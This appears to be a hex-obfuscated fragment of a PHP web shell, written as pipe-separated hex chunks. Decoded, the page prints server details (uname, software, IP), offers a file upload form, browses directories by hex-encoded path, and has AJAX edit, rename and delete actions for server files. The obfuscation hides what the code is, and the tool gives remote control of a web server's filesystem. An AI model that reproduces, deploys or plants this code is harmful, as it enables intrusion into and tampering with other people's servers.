70|783B0A20|202020|20|20202020|20202070|61646469|6E67|3A2031|307078|20|32|3070|783B0A|20|202020|20202020|20|2020|20626F72|6465|72|2D7261|6469|75733A20|3470|783B|0A|202020|202020|20202020|202066|6F6E74|2D66|61|6D696C|793A|202755|62756E|7475|20|4D6F|6E6F27|2C|206D6F|6E6F7370|61|63653B0A|202020|2020|202020|20202020|66|6F6E|74|2D73697A|653A20|31|34|7078|3B0A20|20|20202020|20|207D0A20|202020|2020|2020|2E737563|636573|7320|7B20|62|61|63|6B|67726F75|6E642D|636F6C6F|723A2023|30|61303B20|636F6C6F|723A|20236666|663B207D|0A|2020|20|20|20202020|2E6661|696C65|64|20|7B|20|6261|636B6772|6F|75|6E|642D|636F6C6F|723A2023|6130303B|20636F|6C6F723A|20236666|663B20|7D0A|20202020|202020|202F2A|2043|7573|746F6D20|6669|6C652069|6E|707574|20627574|746F|6E20|7374796C|696E6720|2A2F0A20|20202020|202020|2366|696C|6549|6E|70|75|74207B0A|20|202020|20|20202020|20|2020|64|6973706C|61793A|206E6F6E|653B|0A2020|202020|20|20|207D0A|2020|202020|20|20202E63|7573|746F6D2D|66|696C|65|2D|62757474|6F6E207B|0A20|20|2020|202020|2020|2020|20|62|6F726465|723A|2031|70|782073|6F|6C696420|236666|663B0A|202020|202020|2020|202020|2070|61646469|6E67|3A|2034|70783B0A|20202020|20|2020|2020|20|20|206261|636B67|72|6F|756E|642D636F|6C6F723A|2023|33|3333|3B0A2020|20|20|20202020|2020|202063|6F6C6F|72|3A20|236666|663B0A20|202020|202020|2020|2020|20|63|757273|6F723A|20706F69|6E|746572|3B|0A2020|2020|2020|20202020|2020|626F72|6465722D|72|616469|75733A20|3470|783B0A20|20202020|202020|2020|202064|6973706C|61793A|20696E|6C69|6E652D|626C|6F636B3B|0A2020|20202020|2020|7D|0A202020|203C|2F|737479|6C65|3E0A3C2F|68656164|3E0A|3C626F|6479|3E0A3C64|697620|636C|6173733D|22|636F6E|746169|6E6572|22|3E0A20|20|2020|26|7468|696E7370|3B26|7468696E|73|703B|267468|696E73|703B3C62|3E534552|562020|3A|3C|2F62|3E203C3F|3D206973|73|65742824|5F5345|525645|52|5B2753|4552|5645|525F53|4F46|54574152|4527|5D29203F|2070|68705F75|6E61|6D652829|20|3A2022|53657276|65|7220|696E66|6F726D|6174|69|6F6E20|6E6F|74|206176|61696C|6162|6C6522|3B203F|3E3C62|723E0A20|20202026|74|68696E|73703B26|74|6869|6E|73703B|267468|696E|73703B|3C623E53|4F4654|2020|3A3C2F|623E20|3C3F|706870|20656368|6F2024|5F|534552|56|4552|5B275345|52564552|5F53|4F|46|545741|52|4527|5D|3B3F3E3C|62723E|0A2020|202026|7468696E|73|70|3B26|7468|696E73|70|3B2674|68696E73|703B|3C623E49|50202026|6E627370|3B266E|627370|3B3A|3C2F623E|203C3F3D|20676574|68|6F|73746279|6E616D|6528245F|5345|5256|45525B27|48545450|5F48|4F|5354|275D2920|3F3E|3C6272|3E0A2020|20203C62|723E|3C623E|2623|38|3231|32262338|32|31322623|3832|31|32262338|323132|2623|38323132|26233832|313226|2338|323132|2623|38|32|31|32|2623|383231|3226|2338|3231|3226|23|38|3231|322623|38|32|3132|26|2338|3231|322623|38323132|26|2338|32313226|233832|31|32262338|32313226|233832|31|322623|38323132|26|2338|3231|322623|383231|322623|3832|31|32|2623|383231|322623|383231|32|26233832|31322623|3832|313226|233832|31|32|26233832|313226|23|38|32313226|233832|3132|26233832|31|322623|383231|322623|383231|32262338|323132|262338|32|313226|233832|31|3226|23383231|32262338|3231|32|2623|383231|3226|233832|3132|262338|3231|3226|2338|32|313226|233832|3132|26|2338|323132|262338|32313226|23383231|32262338|323132|26|23|38323132|2623|38323132|26233832|31|32262338|323132|26|23383231|32|26|23|383231|322623|3832|3132|262338|323132|262338|323132|262338|3231|3226|233832|31322623|38323132|26|23|3832|3132|26233832|3132|26233832|31|3226|23383231|32|26233832|31|3226|233832|313226|23383231|322623|383231|3226|23383231|32262338|3231|32262338|32313226|2338|3231|322623|38323132|26233832|3132|2623|383231|322623|38|32313226|2338|3231|32|2623|3832|313226|23383231|32262338|3231|322623|38323132|26|23383231|3226|233832|313226|233832|313226|2338|32|31|32262338|323132|26233832|31|322623|38|323132|26233832|313226|23383231|32|2623|38323132|26233832|31322623|38323132|26233832|3132|2623|38323132|262338|3231|32|26233832|3132|262338|32313226|23|383231|32|262338|32|31322623|3832|3132|26|2338|32|313226|23383231|32262338|32|31322623|3832|31322623|383231|3226|23|38|32|313226|2338|32|31|32262338|3231|32|262338|3231|32262338|32313226|23383231|32|262338|3231|322623|38323132|26|23|3832|31322623|383231|32262338|3231|32|262338|32|31322623|38|323132|26|23383231|32262338|32313226|23|38|3231|32|2623|38323132|2623|38|323132|262338|32313226|23|3832|3132|2623|38323132|26233832|31|3226|23|38|323132|262338|3231|3226|2338|32|313226|2338|3231|32262338|32313226|2338|3231|32|26233832|3132|26|233832|31|32|2623|3832|313226|233832|3132|262338|3231323C|2F623E|0A20|20|20203C62|723E3C|62|723E3C|666F726D|20|69643D22|75|706C6F|6164|466F726D|222063|6C61|73733D|22616A|617846|6F72|6D|22206D65|74|686F64|3D|22|504F5354|223E0A|2020|20|20202020|203C|6C616265|6C20|666F72|3D|22|66696C|6549|6E707574|222063|6C|61|73|733D2263|75|73746F|6D2D|6669|6C652D62|7574|746F|6E|22|206964|3D2266|696C654C|6162656C|223E4368|6F|6F73|65204669|6C653C|2F6C6162|65|6C3E|0A|202020|2020|202020|3C|696E7075|74207479|70653D22|66696C|6522|2069643D|226669|6C|65496E|7075|7422|20|726571|756972|65|64|3E0A20|2020|20202020|203C696E|70757420|74797065|3D|22|7375626D|69742220|76616C|75653D|2255|706C|6F|6164|223E|0A202020|20|3C2F|666F726D|3E0A0A|202020|203C62|723E|3C64|697620|69643D|226272|65|6164|6372|756D62|436F|6E|746169|6E657222|3E0A2020|20|203C3F70|68|700A2020|20|20|246B20|3D207072|65675F73|70|6C|6974|28|222F28|5C|5C5C|5C7C5C|2F292F|222C20|2464293B|0A|20|2020|20666F72|65616368|202824|6B20|61732024|6D|203D3E|20246C|29207B0A|2020|20202020|20|2069|66|20|28|246C|203D|3D2027|2720|2626|20246D20|3D3D2030|29207B0A|20|20202020|20|202020|20202065|63686F|20|273C6120|636C61|7373|3D22|61|6A782220|68|726566|3D223F|643D32|66223E2F|3C2F613E|273B0A20|20202020|20|20207D0A|20|2020|20202020|206966|2028|246C|20|3D3D20|27272920|636F6E|74|69|6E75|653B0A|202020|202020|2020|6563686F|20273C|612063|6C61|73733D22|61|6A7822|20|6872|6566|3D223F64|3D273B|0A20|20|2020|20|2020|2066|6F72|202824|69203D20|303B|20|24|69|203C3D20|246D|3B20|24|69|2B|2B2920|7B0A2020|20|20202020|20202020|2065|63686F|206865|7828246B|5B24|695D|293B0A|20202020|20202020|20|20|202069|66202824|692021|3D|20|246D29|206563|686F2027|3266273B|0A202020|2020|2020|20|7D|0A20|2020|20202020|206563|686F20|27223E27|2E24|6C2E273C|2F613E2F|27|3B0A20|20|20207D0A|2020|20|203F3E0A|3C|2F64|69|763E3C|6272|3E0A|3C646976|2069|643D|22|61637469|6F|6E|436F|6E|746169|6E65|72|223E3C|2F646976|3E3C6272|3E0A|202020|203C6469|76206964|3D22|66|696C|654C69|737443|6F6E74|61696E65|72223E0A|2020|20|20202020|203C|3F706870|0A202020|20202020|2024|656E74|72696573|203D|2073|63616E64|69|722824|6429|3B|0A20|20202020|20202024|6469724C|6973|74203D20|5B5D|3B|0A2020|2020|20202020|2466|696C65|4C6973|74203D20|5B5D|3B|0A20|20|2020|202020|2066|6F726561|63682028|24656E|7472|696573|206173|20|2465|6E74|72|7929|207B0A|2020|202020|2020|20|20|202020|6966|20|282465|6E7472|7920|3D|3D20272E|27207C7C|202465|6E7472|7920|3D3D|20|27|2E2E2729|20636F|6E74696E|75653B|0A|2020|2020|2020|202020|202020|2470|61746820|3D2024|64202E20|4449|524543|544F5259|5F534550|41|524154|4F|52|20|2E20|24|656E7472|79|3B|0A20|202020|2020|202020|202020|6966|202869|735F|646972|28247061|7468|2929207B|0A202020|202020|20202020|20202020|2020|24646972|4C69|73|745B5D|203D20|24|656E74|72793B|0A20|2020|20202020|20|2020|2020|7D20656C|73|65207B|0A2020|20|202020|202020|202020|20|20|2020|2466696C|654C|6973|745B|5D203D20|24|656E|7472|793B0A20|20|2020|2020|20202020|20207D0A|20202020|20202020|7D0A2020|2020|2020|20203F|3E0A20|202020|20202020|3C7461|626C653E|0A2020|20202020|202020|20|2020|3C|74686561|64|3E0A20|20|20202020|202020|20|202020|2020203C|7472|3E0A|20|202020|20202020|20|2020|202020|202020|2020|20|3C74683E|4E616D|653C2F|74683E|0A20|20|20202020|202020|202020|2020|202020|2020|203C|74683E53|697A653C|2F7468|3E|0A202020|2020|20202020|202020|202020|202020|20203C|74|683E41|637469|6F|6E733C|2F7468|3E|0A202020|202020|20202020|20202020|20203C|2F74723E|0A2020|20202020|20|20202020|203C|2F7468|6561643E|0A20|202020|20202020|2020|2020|3C7462|6F64|79|3E0A|20|20202020|20|20|20202020|20|3C3F|70|68700A|2020|20202020|20202020|2020|666F7265|6163|68|20282464|69724C69|7374|20|61732024|656E74|72792920|7B0A2020|202020|202020|20202020|2020|202024|7061|746820|3D20|2464|202E|2044|4952|454354|4F5259|5F534550|415241|544F5220|2E202465|6E747279|3B0A20|20|20202020|20202020|202020|20|202065|6368|6F20|27|3C74|723E|273B|0A|20202020|2020|202020|2020|20|20202020|656368|6F20|273C|7464|3E|3C61|20|63|6C61|73733D|22616A61|78|446972|222068|726566|3D|223F64|3D|27202E|206865|78|282470|61|7468|29202E20|2722|3E|27202E|20|6874|6D6C73|70|65636961|6C636861|7273|28|2465|6E7472|7929|202E20|27|3C2F61|3E3C2F|74|643E|273B0A20|20202020|20|202020|20|20|202020|2020|65|63|686F2027|3C74643E|2D3C2F|7464|3E273B0A|2020|202020|20202020|202020|20|202020|65|63686F20|273C7464|3E3C2F|74|643E273B|0A|202020|20202020|202020|20|20|202020|20|6563686F|20273C|2F7472|3E|27|3B0A|20202020|2020|2020|20202020|7D|0A202020|2020|20|2020|20|20202066|6F72|656163|68|20282466|696C65|4C|6973|74206173|2024656E|74727929|20|7B|0A2020|20|2020|20202020|202020|20|2020|2024|70|6174|6820|3D202464|202E|20|444952|4543|544F|52|595F5345|50|41524154|4F52|202E2024|656E74|72793B0A|20|2020|20202020|20|2020|202020|2020|206563|68|6F|2027|3C|7472|3E273B|0A202020|202020|2020|20202020|202020|2065|63686F20|27|3C7464|3E2720|2E20|68|746D|6C737065|63|69|616C6368|617273|2824656E|747279|29|202E2027|3C|2F74|64|3E273B|0A202020|20|20202020|2020|2020|2020|20206563|686F|20|273C74|64|3E|27202E|20|2869|735F66|69|6C|652824|706174|682920|3F2066|696C|657369|7A65|28247061|746829|202E20|27|2062|797465|7327|203A2027|2D2729|202E|20273C2F|7464|3E|273B|0A|202020|2020|202020|20202020|20202020|6563|686F20|273C74|64|3E|273B0A20|20202020|20|2020|20202020|20202020|656368|6F2027|3C612063|6C6173|733D|22|616A6178|4564|69|74|2220|68|726566|3D|22|3F6163|74696F6E|3D6564|69|74|2664|3D2720|2E206865|7828|24642920|2E202726|66696C|653D27|20|2E20|75|726C|65|6E636F|64652824|656E7472|79|29202E|202722|3E4564|69743C|2F613E|207C20|273B|0A|20|2020|2020|20202020|20|20|2020|20|20|20656368|6F20273C|61|20636C|6173|733D2261|6A617852|656E616D|65|22206872|65|663D|223F|6163|74696F|6E3D72|65|6E61|6D652664|3D27202E|2068|65782824|6429202E|202726|66696C|65|3D2720|2E20|75726C|656E|636F64|65|2824|656E|74|72|792920|2E202722|3E|52656E61|6D|653C2F|613E207C|20|273B0A20|202020|2020|2020|2020|20202020|2020|656368|6F20273C|612063|6C|617373|3D22|616A|61784465|6C65|7465|22206872|65|66|3D223F61|63|7469|6F6E|3D64|656C6574|6526643D|27|20|2E20|6865|782824|6429202E|20|2726|6669|6C|653D2720|2E|2075|726C|656E|636F6465|2824656E|747279|29202E20|27223E|44656C|65|7465|3C|2F|61|3E273B|0A202020|20|202020|2020|202020|20202020|6563|686F2027|3C2F7464|3E273B|0A|202020|2020|2020|202020|202020|20|20|20656368|6F20273C|2F|74723E27|3B|0A202020|2020|20202020|202020|7D0A20|202020|20202020|2020|20203F3E|0A2020|2020|20|2020|2020|2020|203C2F74|626F64|793E0A20|2020|20202020|203C|2F746162|6C|653E|0A|20|20|20203C|2F|6469763E|0A3C2F64|69|76|3E|0A0A|3C6469|76|20636C61|73|73|3D226E6F|746966|69636174|69|6F6E|222069|643D226E|6F7469|6669|6361|74696F6E|222073|7479|6C|653D22|646973|706C6179|3A6E|6F|6E65|3B|22|3E3C|2F64|6976|3E0A|0A3C7363|726970|743E0A2F|2F|20|53686F|7720|6E6F7469|66696361|74696F6E|20|696E|20746865|20626F|7474|6F6D20|6C656674|2063|6F726E|65723B20|61|75746F|2D|6469736D|69737320|616674|65722032|20736563|6F|6E6473|2E0A6675|6E6374|69|6F|6E|2073686F|774E|6F74|6966|69636174|696F|6E287374|61747573|2C20|6D736729|207B0A20|20|20207661|7220|6E6F74|6966203D|20646F63|756D65|6E|742E67|65|74456C|656D|656E7442|7949|642827|6E|6F|74696669|63|61|74|69|6F6E|27293B|0A20|202020|6E|6F7469|66|2E636C61|7373|4E61|6D6520|3D20|276E6F|74|6966|6963|617469|6F6E20|2720|2B20|737461|7475|733B0A20|2020|206E|6F74|69662E|69|6E6E|657254|6578|7420|3D206D73|673B0A20|202020|6E6F7469|66|2E7374|796C652E|6469|73|70|6C617920|3D202762|6C6F636B|27|3B|0A20|20202073|65|745469|6D65|6F757428|66|756E6374|696F6E28|29|7B206E|6F7469|662E|7374796C|652E64|6973706C|61|79203D|20276E6F|6E65|27|3B207D|2C20|3230|303029|3B|0A|7D0A0A66|756E|6374696F|6E|20|6C6F6164|4272|65616463|72|756D62|28|29207B0A|202020|20|766172|2064|203D|20|6765|7451|75|6572|7950|617261|6D2822|6422|29207C7C|2022|3C3F7068|70|206563|686F2068|657828|2464|293B|203F|3E223B0A|20|20202066|65746368|28273F|64|3D27202B|206420|2B202726|616A61|783D6272|656164|6372756D|62272C20|7B206865|616465|72|733A20|7B20|27|582D5265|71|756573|746564|2D|576974|68273A|2027584D|4C487474|70|52|6571|7565|7374|27207D|207D|290A2020|2020|2E|74|68656E28|726573|70|6F6E73|65203D3E|2072|65|7370|6F6E7365|2E746578|7428|2929|0A20|2020202E|7468|656E28|68746D|6C|203D3E20|7B0A2020|2020|2020|2020646F|63756D|656E742E|67|6574456C|656D|656E7442|794964|28276272|6561|64|63|72756D62|436F6E|746169|6E|65|722729|2E69|6E6E6572|48544D|4C|203D|206874|6D6C|3B|0A2020|20|207D29|3B|0A|7D|0A0A6675|6E63|74|69|6F6E20|676574|51756572|795061|72|61|6D286E61|6D652920|7B0A|20|20|202063|6F6E|7374|20|75726C50|6172|61|6D73|203D|206E|65|77|20|55|52|4C|53656172|636850|61|72616D73|2877696E|646F77|2E6C6F|636174|696F|6E2E|73656172|63|68293B|0A20|20202072|65|747572|6E207572|6C5061|72616D73|2E67|6574|286E|616D6529|3B0A7D0A|0A66|756E|637469|6F6E|20|6C6F|6164|4669|6C654C|697374|2829207B|0A2020|20207661|722064|203D2067|65|745175|65|72|79506172|61|6D|28226422|29207C7C|2022|3C3F70|6870|20656368|6F2068|65|7828|2464293B|203F3E22|3B0A2020|20|20666574|63682827|3F|643D|2720|2B2064|202B2027|26616A|61|783D3127|2C|207B2068|65|61646572|733A20|7B20|27|582D52|65717565|73746564|2D|57697468|273A|2027584D|4C|48747470|5265|71|756573|742720|7D20|7D29|0A|20202020|2E7468|656E2872|65|7370|6F6E7365|203D3E20|72|6573706F|6E|73652E|7465|7874|282929|0A|20202020|2E746865|6E|28|68746D6C|203D3E20|7B0A|2020|20|20202020|2064|6F63|756D|656E742E|67657445|6C656D|656E74|427949|64|282766|696C|65|4C697374|436F|6E|746169|6E6572|27292E69|6E6E|65724854|4D4C203D|206874|6D6C|3B|0A20|20202020|20|2020|61747461|6368|416A|61784576|656E|747328|293B202F|2F|2072|656174|746163|68|2065|76656E74|73|206166|74657220|757064|6174650A|202020|2020|2020|20726573|65744669|6C65496E|7075|744C6162|65|6C28|293B0A20|20|20|20|7D293B0A|7D|0A0A|6675|6E6374|696F6E|20726573|6574|46696C65|49|6E707574|4C|616265|6C282920|7B0A2020|2020|76|6172206C|61|62656C|203D20|64|6F6375|6D65|6E742E|67657445|6C656D65|6E744279|496428|2766696C|65|4C|6162|65|6C27|293B0A|20202020|69|66|286C6162|656C2920|7B0A2020|20202020|2020|6C|6162|65|6C|2E746578|74436F6E|7465|6E7420|3D2022|43686F6F|7365|2046696C|6522|3B0A|2020|20207D|0A7D|0A0A|6675|6E63|74696F|6E20|61|74|74616368|416A|61784576|656E|74732829|207B|0A202020|20|64|6F63|756D|65|6E74|2E|717565|7279|53656C65|6374|6F7241|6C6C2827|2E61|6A61|7844|656C6574|652729|2E666F72|45|616368|286675|6E|63|74|69|6F6E286C|696E6B|29207B|0A2020|202020|2020|20|6C696E|6B|2E6164|64|4576656E|74|4C69|737465|6E|6572|282763|6C69636B|272C20|66|75|6E|637469|6F|6E2865|2920|7B0A20|2020|20202020|2020|202020|65|2E707265|76656E74|4465|6661|75|6C742829|3B0A20|202020|202020|20202020|20|66657463|68286C69|6E6B|2E6872|65662C|207B2068|6561|64657273|3A207B|2027|582D|52657175|65737465|642D5769|74|68|273A20|27|58|4D|4C|487474|70526571|75657374|27207D|207D290A|202020|20202020|20|2020|20202E|7468656E|28726573|706F|6E|7365|203D|3E2072|65|73706F6E|73|65|2E6A|736F6E|2829290A|2020|20|2020|202020|20202020|2E|74|68|656E2864|6174|61203D|3E|207B|0A2020|202020|202020|202020|202020|2020|73686F|774E|6F74|69666963|6174|696F|6E286461|7461|2E|73746174|7573|2C206461|7461|2E6D7367|293B0A|20|20|20202020|2020|20|20|20202020|2020|6C6F|616446|696C654C|6973|74|28293B0A|20202020|2020|20|202020|20|20202020|20726573|657446|696C65|496E7075|74|2829|3B|0A2020|2020|2020|2020|20|2020207D|293B0A|202020|2020|2020207D|293B0A|20202020|7D293B|0A2020|202064|6F6375|6D|656E74|2E71|7565|72|79|53656C|65|6374|6F72416C|6C28272E|616A6178|4564|69|74|2729|2E666F72|45|6163|68|28|66756E|6374696F|6E|286C|696E6B29|207B|0A202020|2020|2020206C|696E6B|2E61|64|6445|76656E|744C|69|737465|6E6572|2827|636C69|636B|272C|206675|6E637469|6F6E28|6529207B|0A20|20|20202020|20202020|2020652E|707265|76|65|6E74|446566|61|756C74|28293B0A|202020|2020|20202020|20|20|206665|74|63|6828|6C696E6B|2E687265|662C207B|2068|65|6164|657273|3A207B|202758|2D|5265|71|75|65|73746564|2D5769|746827|3A20|2758|4D4C|48|747470|52|6571|7565|7374|2720|7D20|7D29|0A2020|20|2020|20202020|202020|2E|7468656E|28726573|706F|6E736520|3D|3E|207265|7370|6F|6E7365|2E746578|74282929|0A202020|2020|20202020|20|20202E74|68|656E28|68746D6C|203D3E20|7B0A20|2020|20|20|20202020|20|20|20202020|20|646F63|756D656E|74|2E676574|456C656D|656E|74|42|794964|282761|63|7469|6F6E436F|6E74|61696E|657227|29|2E69|6E6E6572|48|544D4C|203D2068|746D6C3B|0A2020|20|20|202020|20202020|2020|20|2020|61|747461|63|68|416A61|78466F72|6D|28|293B0A20|20202020|202020|20|20|202020|202020|61747461|63|6843|616E63|65|6C|457665|6E7428|293B0A20|20|202020|202020|20|202020|2020|20|207265|73|65|74|46696C65|496E|7075|744C6162|656C28|293B0A|202020|202020|20202020|20|2020|2020|20|726573|65744669|6C|65496E|70757428|293B0A20|20202020|20|20|20202020|207D293B|0A202020|202020|20207D|29|3B0A2020|20207D|29|3B|0A20|20|2020646F|63756D|656E742E|7175|6572|79|53656C65|6374|6F72|416C|6C28272E|61|6A61|78|52656E61|6D|6527|292E66|6F|7245|616368|28|66756E|637469|6F6E286C|696E6B29|20|7B0A20|20|202020|2020206C|696E6B|2E6164|644576|65|6E74|4C69|7374|656E65|72|2827|636C69|636B|27|2C2066|756E63|74696F|6E28|6529|20|7B0A20|202020|20202020|20202020|652E|70|72|65|76656E74|446566|61|756C74|28|293B0A20|20202020|20202020|20|2020|6665|74|63|6828|6C696E6B|2E68|7265|662C20|7B206865|61646572|733A20|7B|202758|2D526571|756573|746564|2D|576974|68|27|3A20|27|584D4C48|74|74|705265|7175|65737427|207D207D|290A2020|20|20202020|20202020|202E7468|656E2872|6573706F|6E|73|65203D|3E20|7265|73706F|6E|73652E74|65|787428|29290A20|2020|202020|2020|2020|20202E74|6865|6E2868|746D6C|203D3E|207B0A|202020|20|2020|2020|20|2020|2020|2020|20646F|63756D65|6E742E67|65|74|456C|656D65|6E74|42|79496428|27|61|6374696F|6E|43|6F6E|7461|696E65|7227|29|2E|696E|6E65|724854|4D|4C20|3D|20|6874|6D6C3B0A|20|20|20|202020|202020|202020|2020|2020|6174|746163|68416A61|78466F|726D28|293B0A|20202020|202020|20|20202020|20202020|617474|61|63684361|6E|6365|6C457665|6E74|28|293B0A20|20|202020|2020|20|20202020|202020|20726573|65744669|6C65|496E|7075744C|616265|6C28293B|0A202020|20|20|20|20202020|202020|20|20207265|7365|7446|696C|65496E70|7574|28|293B0A20|202020|20202020|20202020|7D29|3B0A20|202020|2020|20207D29|3B0A20|20|20207D29|3B0A2020|2020646F|63756D65|6E742E|71756572|795365|6C65|6374|6F72416C|6C|28|27|2E61|6A|6178|44697227|292E66|6F|72|45|61|63|6828|6675|6E6374|696F|6E286C|69|6E6B2920|7B0A20|20|20206C|696E|6B|2E6164|64|457665|6E74|4C69|73|7465|6E657228|27636C69|636B27|2C206675|6E63|74696F6E|28652920|7B0A|20202020|20|20|20|20|652E7072|6576|65|6E744465|6661|756C|74|28293B0A|202020|202020|20|20|77|696E|64|6F77|2E68|6973746F|72792E70|75736853|7461|7465|28|6E756C|6C2C|2027|27|2C206C|696E|6B2E68|72|6566|293B|0A2020|20202020|20|206C6F|6164|46696C|654C6973|74|28|293B|20202F2F|2052656C|6F616420|7468|65|206669|6C65|206C6973|74|0A|20|2020|2020|2020206C|6F61|64|42|726561|646372|756D6228|293B202F|2F205265|6C6F6164|20746865|20|62726561|64|6372|756D|620A20|202020|20|202020|72|65|73657446|696C|65496E|7075|744C6162|656C|2829|3B|0A2020|202020|20|20|20|72657365|74|46696C65|496E7075|742829|3B|0A2020|2020|7D29|3B0A|7D293B|0A|7D0A0A66|756E63|7469|6F6E20|61747461|636841|6A61|78|466F|72|6D|28|29207B0A|202020|20646F|63|756D65|6E742E|717565|72|795365|6C|6563746F|72416C6C|28|27|2E616A61|78|46|6F|726D27|29|2E|66|6F724561|63682866|756E|6374|696F6E|2866|6F72|6D|2920|7B|0A|2020|20202020|2020|666F|72|6D|2E|61646445|76|656E74|4C69|7374656E|657228|27737562|6D69|74|272C20|66|756E|6374|696F6E28|6529|207B|0A202020|202020|20202020|202065|2E|7072|657665|6E7444|656661|756C|7428293B|0A20|20|202020|2020|20|20202020|76617220|66|6F726D44|6174|61203D20|6E65|7720|46|6F726D44|6174|61|28666F|726D|293B|0A20|2020|2020|202020|202020|2066|6574|6368|28666F|726D|2E61|63|7469|6F6E2C20|7B20|6D|65|74|686F643A|2027504F|5354272C|20|62|6F6479|3A2066|6F726D44|61|7461|2C2068|65616465|7273|3A20|7B202758|2D|5265|71|756573|74|65642D|5769|74|68273A20|2758|4D|4C4874|7470|52657175|65|73742720|7D207D29|0A20|20|20|2020|20202020|2020|202E7468|65|6E2872|6573706F|6E|7365|203D3E|207265|73|70|6F6E7365|2E|6A736F6E|28|29290A|2020|2020|20|20|2020|20202020|2E7468|656E|28|64|617461|203D3E|207B|0A|202020|202020|20202020|202020|202020|7368|6F|774E6F|74696669|6361|7469|6F6E|28|6461|74612E|737461|7475732C|2064|61|7461|2E6D|736729|3B0A20|20|202020|2020|20202020|2020|20|2020646F|63756D|656E74|2E67|657445|6C656D|656E74|42794964|2827|61637469|6F6E|43|6F6E|746169|6E657227|29|2E696E6E|65724854|4D4C20|3D20|27273B|0A20|2020|2020|20|202020|202020|2020|2020|6C6F6164|46696C|654C6973|74|2829|3B0A20|20|20|202020|202020|20|202020|20|202072|657365|744669|6C|65496E|707574|4C61|6265|6C|28|29|3B|0A2020|2020|202020|202020|20207D29|3B0A|202020|2020|20|20207D29|3B|0A20|2020207D|29|3B0A7D|0A0A66|756E63|7469|6F|6E20|617474|61|63|68|43616E63|65|6C4576|65|6E74|2829|207B|0A202020|2076|61722063|616E6365|6C4274|6E20|3D|20|64|6F|63756D|656E|74|2E|6765|74456C|656D65|6E74|427949|6428|2763616E|63656C41|63|74696F|6E27293B|0A202020|20|6966|28|63616E63|656C|42|74|6E|29207B0A|2020|20202020|20|2063|616E|6365|6C4274|6E2E|6164|64|45|76656E|74|4C6973|74656E65|72|2827636C|69|636B27|2C2066|75|6E|6374|69|6F6E28|29207B0A|2020|20|202020|2020|20|20202064|6F|6375|6D656E|74|2E67|6574456C|656D|65|6E|744279|49642827|61|6374|696F6E|43|6F6E|74|61|696E6572|27292E|696E6E65|72|48544D4C|20|3D202727|3B0A2020|20|2020|20202020|20202072|65|73657446|696C65|496E7075|74|4C616265|6C28|293B0A|20|202020|20|20|2020|7D|293B0A|2020|2020|7D0A7D0A|0A66|756E63|74696F|6E20|7265|7365|7446|69|6C6549|6E|70757428|29207B0A|20|2020|20|76|61722066|696C65|49|6E7075|74203D|20|646F6375|6D656E|742E|67|657445|6C656D65|6E744279|49|6428|2766696C|65496E70|757427|293B|0A|202020|20766172|2066|696C|654C|6162|656C20|3D2064|6F6375|6D656E|74|2E|67|657445|6C65|6D65|6E744279|49642827|6669|6C654C61|62|656C|27293B|0A202020|20|696620|2866696C|65|49|6E70|757429|20|7B|0A20|2020|20|202020|206669|6C|6549|6E|70|75742E|7661|6C756520|3D2022|223B20|2F2F|20436C|65|6172|20616E|792073|656C|65|63746564|206669|6C650A20|2020207D|0A202020|2069|6620|28|66696C65|4C616265|6C29207B|0A|202020|20202020|20|66696C65|4C|616265|6C2E7465|787443|6F6E7465|6E|74203D|2022|43686F|6F|736520|46|69|6C6522|3B|20|2F2F20|5265|736574|206C6162|656C2074|6578|740A|20202020|7D0A|7D|0A0A646F|63|756D65|6E742E61|64|6445|76656E74|4C69|737465|6E|65722827|444F4D43|6F6E7465|6E744C|6F61|6465|64|272C20|66756E63|7469|6F6E2829|207B0A20|2020|20617474|616368|416A6178|45|7665|6E7473|2829|3B0A|2020|20|20|7661|7220|66696C|65496E70|7574|203D|2064|6F63|75|6D656E74|2E6765|7445|6C656D65|6E7442|7949|6428|2766696C|6549|6E70|75|7427293B|0A2020|20|2076|61722075|70|6C6F|61|64466F|726D20|3D2064|6F6375|6D656E74|2E67|65|74|456C|65|6D|656E|744279|49|64|28|27|75|706C6F61|64466F72|6D27|293B0A0A|202020|20|66696C65|496E|707574|2E616464|4576|65|6E744C69|7374656E|65722827|6368616E|6765|272C|2066|756E63|74696F6E|2829207B|0A2020|20|20|20202020|76|6172206C|6162656C|20|3D20646F|6375|6D656E|742E67|65|7445|6C65|6D656E74|4279|4964|28276669|6C654C61|62656C27|29|3B0A|20|20|202020|20|2020|6966|2866|696C|65|496E|7075|742E6669|6C65732E|6C|656E|677468|203E|203029|207B0A|20|2020|20202020|20|20|2020206C|6162|656C2E74|65787443|6F6E74|656E7420|3D206669|6C65|496E|7075742E|66|696C65|735B|305D|2E|6E616D|653B0A|202020|20202020|207D|20|656C|7365|207B0A20|20|202020|20|20202020|2020|6C6162|656C2E74|65|78|74|436F|6E7465|6E74203D|20224368|6F6F|7365|20|4669|6C65223B|0A20|20|20|20|20|2020|207D|0A20|20|20|20|7D29|3B0A0A|20|20|202069|6628|75706C6F|616446|6F726D29|207B|0A20|202020|20202020|7570|6C6F|616446|6F72|6D|2E6164|64|457665|6E744C|69|737465|6E6572|28|27737562|6D6974|272C20|66756E63|74|696F6E28|652920|7B0A2020|2020|202020|202020|20|20|652E70|726576|656E74|446566|61756C|7428|293B|0A|202020|2020|202020|2020|20206966|28|66696C65|496E|7075|74|2E6669|6C6573|2E6C656E|67|746820|3D3D3D|2030|292072|65747572|6E3B|0A0A2020|2020|20202020|20|2020|2076|6172|2066696C|6520|3D|2066|696C|65496E70|75742E|66|696C65|735B|305D3B|0A|20|20|20|20|2020|20202020|20|20766172|2072|65|616465|72203D|206E6577|204669|6C6552|65|61|64657228|293B0A0A|202020|2020|20|202020|20|2020|7265|61|6465722E|6F6E6C6F|6164|20|3D2066|756E6374|69|6F|6E2865|76|656E|742920|7B0A|202020|20|202020|20202020|2020|202020|76|6172|20|6172|7261|79|427566|6665|7220|3D|206576|656E74|2E7461|72|67|65|742E7265|7375|6C|743B0A20|20|20202020|202020|202020|2020|2020|76|6172|206279|746573|20|3D206E|65|7720|55696E|74|3841|72726179|28617272|61794275|666665|7229|3B0A2020|2020|202020|20|2020|20202020|2020|766172|20|68|65785374|72696E|67203D20|27273B|0A20|20202020|202020|202020|202020|20|20|666F|72|202876|61722069|203D|20|303B20|69203C20|627974|65|732E6C65|6E6774|68|3B20692B|2B2920|7B|0A20|2020|202020|202020|2020|20|202020|202020|20206865|7853|74|72696E67|202B|3D2062|79746573|5B695D|2E|746F5374|7269|6E|67283136|292E7061|6453|74|617274|28322C|20273027|293B0A20|20|2020|2020|202020|20|20202020|20|207D|0A0A|20|2020|20|20202020|2020|202020|20|2020|76|61722066|6F726D44|61|74|61|203D20|6E|65772046|6F726D|446174|6128293B|0A20|2020|2020|20